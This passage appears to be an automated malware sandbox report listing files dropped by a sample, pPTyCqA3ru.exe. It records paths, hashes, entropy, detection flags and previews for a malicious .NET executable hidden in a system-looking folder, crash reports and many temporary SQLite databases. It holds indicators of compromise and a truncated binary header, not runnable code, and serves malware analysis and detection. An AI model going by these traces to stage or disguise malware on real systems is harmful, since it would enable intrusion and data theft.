C:\Program Files (x86)\Windows NT\Accessories\en-US\f6900929d627b7

Download File

Process:	C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe
File Type:	ASCII text, with very long lines (978), with no line terminators
Category:	dropped
Size (bytes):	978
Entropy (8bit):	5.89978370135191
Encrypted:	false
SSDEEP:	24:wMKV1qKepmyT/cHJ24PC5wbAXmOrMJtZWuo7Rbs4YETzI:MDqKepP/cpnKebyhCo4
MD5:	F8BE8A9DA35C2581F98F5D142EAC4F50
SHA1:	FCD5014F3D8E902333C0172EE1753F4F626F6D13
SHA-256:	2D5F76C1140AE1A9683494D7E0BCE9B43858A7A6090A62F53553742AEF84153D
SHA-512:	2150E2322927820DEB48526CAC243A5BA301C4662701409DEDC22885555EA576E98427127E4BE2FAC677255F8DCCFB084EF69FD428E3AAA04E9567C469A048A4
Malicious:	false
Preview:	yN59YwLZR5akbwxsSt3ITyiT0XKtkjGbmHOLnVeG16JlACn7jPeW6noApmJAlcyry98UimE7OxQXo6SyuMKVEuf8cNgBMdeZHbxBDSZ6LgIJWRVsTUQYSdnEeA1UFDvuS1PMJRubxNJilWlK2yr1NFGoysgDaF1HuX0fCIjCjylETFcIYrcRV4hMukYavrAsVCxOfGItOpRYeBUtPXptmkw00nubuIR2y2tRSOnRjtCqmIrsQpKXCQFvP6X1Wq8GYYkmSCaBuXK3hGNr6BKE740hx7CV1v52u6SOiFaOOJmoGLNJsp5Uf4IdiCzUAFK9cRJlx9I0l60yRMalu2nLzkX0yyqgQFOJ9mMyCmVtgEsjDTLVlNkHc8J14Tw9Tmkgrqzp9mjHg3ou1ywemU4CeGrAdU4szWZ4eM1XegW9odliUY9GhRX9shBl9zMor0RKeuQp6ZAF84XAfJpEVyLh9aL6KQXpUrSyMaEkIUJHRRAxJBF0JHT2ptLDiTeqBVuQmjyEFF5ApDQrZYxJKhfMXZIcPACzzcG6guKkMAvEMSNlcdnKgUgezi2NaVyECGKN7UKpNM7JwbAFMg9wX1Sf6mG817J0LrBFIAoIS76TXWrYhxB3VCqKxpQUNLyPCG8FZ57M21da59Hj4rbD6PeJA0RctU4GJrQQYm9l0yBejQPyiraguuTxmyEinech6WROs0LSszNHO9kukd3C3YWYXdojha8VWdhM8BFrfHx4hLimOT7KkaoiA20OMmuS11vucXvjXMgwlb0M4BUOcxu5z9MGL1f3XfCpZyK1hYxY426iBnULRgzEG04cLpXgrnYFYLwG0dqDAWB7CnEihUl1p8ij3sq1BRrRd1J00NUy0wEuz7Zhlz9XBhaamMMIwyCtoteLeNrT9xA34yu6SIQMRUP5atOnBLBBtUGFcNDYIpXOghfycPzni0bUdivu8DSxv9JjrpdEF1Dm7BZ3Oa

C:\Program Files\Reference Assemblies\Microsoft\Framework\PfjsOcNiQfAmiszo.exe

Download File

Process:	C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	691200
Entropy (8bit):	5.5554988350478975
Encrypted:	false
SSDEEP:	12288:C9X1yJ7/pZY7fiCI/YBfULiXPrQfkXmm1RhdLB9XFy+nM6D+:CVc7EaCQYBfcE1ZM6D+
MD5:	314420BAC969BCFB9510A0E8CC3686D6
SHA1:	66F1D0A60A2727970476A105C88883F37270E30F
SHA-256:	38B9CC3CCAE02C270E3D62E62E3B3B40E90AD7F898372B8A5035445BA32F4B26
SHA-512:	DEBF908ADD95AA0849451AEF830E5E71724247D352DCB5DAD6B02DCA0D54E4E915A9430DE80D970A4E7EF3749EB2FC7C6FA7839348D84F546D5934D713E7569C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 74%
Joe Sandbox View:	Filename: 2VaAObAYLP.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...u..e.........."...................... ........@.. ..............................R.....@.....................................S.......p............................................................................ ............... ..H............text........ ...................... ..`.rsrc...p...........................@..@.reloc..............................@..B.......................H.......T...d...........................................................P...........W...........S...........[...........Q...........Y...........U.......A...]........@..P...........X...........T.......!...\........ ..R...........Z...........V....................`..P...........W...........S...........[...........Q...........Y...........U.......a...]........`..P...........X...........T.......1...\........0..R...........Z...........V....................`..........................

C:\Program Files\Reference Assemblies\Microsoft\Framework\f6900929d627b7

Download File

Process:	C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe
File Type:	ASCII text, with very long lines (927), with no line terminators
Category:	dropped
Size (bytes):	927
Entropy (8bit):	5.922086725578787
Encrypted:	false
SSDEEP:	24:zGvam+Hi8Z+bdjeWdF//seRhvCSKmEGRxR:z2BGC/RhImP
MD5:	45A6AB332CBE2104C5CF8ED1E9758946
SHA1:	D56D1775D0ED159216579FEE94BC907805FAF074
SHA-256:	04901FA552EFA2BA7711B0447E338F185CAA891CF6748AE321F8536695A40E99
SHA-512:	B2200C9A87204978AE6169D4B48C7278073EBCEB06A677F39B2D6CF9F99C53830350880C1B0D7F37BC4A5A6D6174ADD833810DBBD0E7A9A912C3C816E809E4E5
Malicious:	false
Preview:	i9gqhBiUW0APzwGU3hvr7G0ktybskkzjOmUzalaoW3WzwkrWTsn4EM7cI56tj0tvAbBMbR4SHHUEtAyJGFY265fCp2qeoqFgJlyUif4CyVx613tHHxmdb1zF59hjlZnaCy4IMdkkLWDlIiKvJiX1ElESwtYj8UbYrW4D8k5oMBSFxN7XyvaCCwWatmWcEAm04o4vnHwimsoCS8eiwBvM4YW4AeTWOdjMZcLJTLtr82ZTITIuHxpCPa6fS9uJxaTJJcnzxVOkSEOB8CvqVjObxh79gp1Tbj3ijQKqqS7wiFuKL4hPNDxOL2VlfoTIe4JsKqcr2F9Dlc2rwwxlIlGXwpWq5iLC8zSn6C9fczXIEumt9nzs0s92yv6fTvwT36EwJOvuwRJSO7TBCmqRtdLQzazLFeMqCDOHp0kv2E5jirn0c4cqEfkauy6tZkoRFcQKtMVMC5YohmrIw8sLCflgdxW130WSZoeGadHPiQoJH53IGy7a1dPk1ur50eSMjGO2IlrT0dmw0cZi4NuF35a6Y4OqvMZE7ckAqAAfGokY0dtYUIBmtNSnpSeOWBhoDiyY2Y23NP8PVCG5KzVmLwVuJ6VXgvIFG5URoUg6QHZdODSmLiDgq4cQNEP5CeWbG3IZsyQ0SZWDX1gGosM7slYLdDEkFl3vv7XU423WRMNRiZ3WiIRTSYtee66ptqvrfkSadLLwzzqfXHnDKsC6UjdWO2085Onlbgv7Gc2W7eecsNHWT2fBnyX6G6MlVN0lMED1Wp7rzp8zEAnAvdoDsl7nIz0KQRBuo3QoKPAn5xL8zi1FTL01iw2kHasgywainOKLu80fcBH4a9xk8v0EaJL1BphugeyIXmUlXqVUVUZgp7KHmIiD5WIdCSJFbG98N8hxoMMSZgsGupMEeZHY5uMAe0iFgQ2PVbT

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_KyC6hVwU8Z.exe_7ae57f7c7248cf8588555b1b76c76a3e9159bd9e_efcfc7cc_9a479775-244e-4fbe-910c-fcea0d05881f\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.6572720812093972
Encrypted:	false
SSDEEP:	192:CbJXTKrFcD7Y0BU/nZajhzuiFRZ24IO8vKOC:O9HDfBU/AjhzuiFRY4IO8vG
MD5:	666A0B3CD7D2DFBBAC03171FE7B37DEB
SHA1:	80B894C8612403441A8329D537AE2842FD2466F7
SHA-256:	DBA856A99D9AB673631B800F0E74C85B5EC371962D3FF5E56D7360D278CD91B8
SHA-512:	DCEABD6684A74CF45D54AE095618377B10D4B5116479DFBA247B5D8C534C186CD7855D7355F33C2594690A1E08F243AB4A3A907169CE80972A2837BF04087D04
Malicious:	true
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.B.E.X.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.8.2.8.5.9.7.9.3.7.7.7.1.4.0.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.8.2.8.5.9.7.9.8.1.5.2.1.8.1.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.9.a.4.7.9.7.7.5.-.2.4.4.e.-.4.f.b.e.-.9.1.0.c.-.f.c.e.a.0.d.0.5.8.8.1.f.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.a.b.c.f.3.c.2.0.-.e.4.3.6.-.4.e.0.0.-.b.2.c.a.-.1.6.2.6.9.2.5.b.0.8.5.f.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.K.y.C.6.h.V.w.U.8.Z...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.8.2.0.-.0.0.0.1.-.0.0.1.4.-.5.d.f.6.-.3.b.2.f.c.d.4.a.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.b.0.6.e.c.e.1.0.5.0.9.9.0.e.d.c.c.7.f.f.f.7.c.5.3.4.a.9.8.6.8.c.0.0.0.0.f.f.f.f.!.0.0.0.0.7.e.8.6.6.0.d.2.4.8.1.0.1.4.b.d.f.8.4.8.1.4.2.7.3.5.7.3.b.9.2.1.2.0.2.c.6.7.e.6.!.K.y.C.6.h.V.w.U.8.Z...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER7596.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Tue Dec 10 06:32:59 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	32066
Entropy (8bit):	1.783407744539864
Encrypted:	false
SSDEEP:	96:5S8jwjodkAzFz0sPqGi77DvrJYZ9oYtnyyvkRAePWIFWIspFIwO0auisGv:LjAoXPqGOynyycaeyvO00s
MD5:	040D87934B373493D8603849DD1BA326
SHA1:	80BEB0A209AEC862BB2C772C6FA495B9F33451BD
SHA-256:	EE8F24D109107102860E034F669D06F55995CBCC5C304DB8EE8680C667099F91
SHA-512:	911A26DE90032BF9C8D79CF80E73A5016B83400B8621376D7ECF11F841B5C3E2CE24ACBE58838B4D15942046113BC0CC2311191409934AE04E830D6A593619CC
Malicious:	false
Preview:	MDMP..a..... .........Wg........................d...........................T.......8...........T...............Br......................................................................................................eJ..............GenuineIntel............T....... ...Q.WgD............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER7604.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8410
Entropy (8bit):	3.7026825595695203
Encrypted:	false
SSDEEP:	192:R6l7wVeJYhF6Bo6YEIkSUEXgmfg/kpr789bn4xsfAPtm:R6lXJM6u6YErSUUgmfu9n4qfA4
MD5:	BAAC4B8FE4142C6F8ADC9FF206C27C2C
SHA1:	3B9937EB25667B5AEA89325FE3E10733DD6C8452
SHA-256:	FA533B0A3C8E4089AB897A4C43F0B961EBC91462A352ACA8616F914777D7B671
SHA-512:	B73B067FDC459CDA1F991FA2A06483B041DA30468CAFC1DF8C80453B9A916C6DDCA5B9E1ED70585D70C7682B22A162900AB2643F4D02A0BD411941501ADE5CD3
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.6.1.7.6.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER7663.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4720
Entropy (8bit):	4.496018834665285
Encrypted:	false
SSDEEP:	48:cvIwWl8zsEJg77aI9vEWpW8VYbYm8M4J4OJFdm+q8vmOHDSGV5Qd:uIjfCI7Nd7VPJ4DKmU9V5Qd
MD5:	8C8B3BA692DF4D969675BA38B3230DD6
SHA1:	7329DD321D5B0823EA326E7B34287864B4301FDC
SHA-256:	1876457FB40FE09589F49F0E8B8C81171F4A38DEF80A9FF0AB14F9008987B3F5
SHA-512:	4A982EF1D412C0E9495BF8199093A04D1E2DC0496B53C23C2484DB53326876124ABA152EC8B5791F046308E6478A32354390B03BE34CE1E3160A355682FF727F
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="624815" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\pPTyCqA3ru.exe.log

Download File

Process:	C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1613
Entropy (8bit):	5.370675888495854
Encrypted:	false
SSDEEP:	48:MxHKQ71qHGIs0HKCYHKGSI6oPtHTHhAHKKkrJHmHKlT4x:iq+wmj0qCYqGSI6oPtzHeqKktGqZ4x
MD5:	CFCC907668E9B1AED46D457F77536393
SHA1:	5FD7371DBA3004E2BC1A83BA5C8AD4BD90FC2D28
SHA-256:	414415C15FF1C315E383F642F353A36B24005E012073C05CC72A71173D6604CF
SHA-512:	405A279EA079FAF8C38926EE256DEB2A4541C9752836C5BDE3E435A3437A3E95F086B1A4911BF19440341011771D46E1B1364C5FECEB21277EC0683367DFA4AE
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Drawing\567ff6b0de7f9dcd8111001e94ab7cf6\System.Drawing.ni.dll",0..3,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Windows.Forms\2a7fffeef3976b2a6f273db66b1f0107\System.Windows.Forms.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\S

C:\Users\user\AppData\Local\Temp\03wv9wpG7H

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\0GZTZCUY0v

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\0RSB9nFFGl

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\0pJg2QG7j9

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\0snoDb0X2b

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\0svQnc6SSn

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\0zjpjkSoFz

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1TxY6tN2FZ

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1ZeA5e2seG

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\2c6tTNl5Je

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\2oEJy3LPAY

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
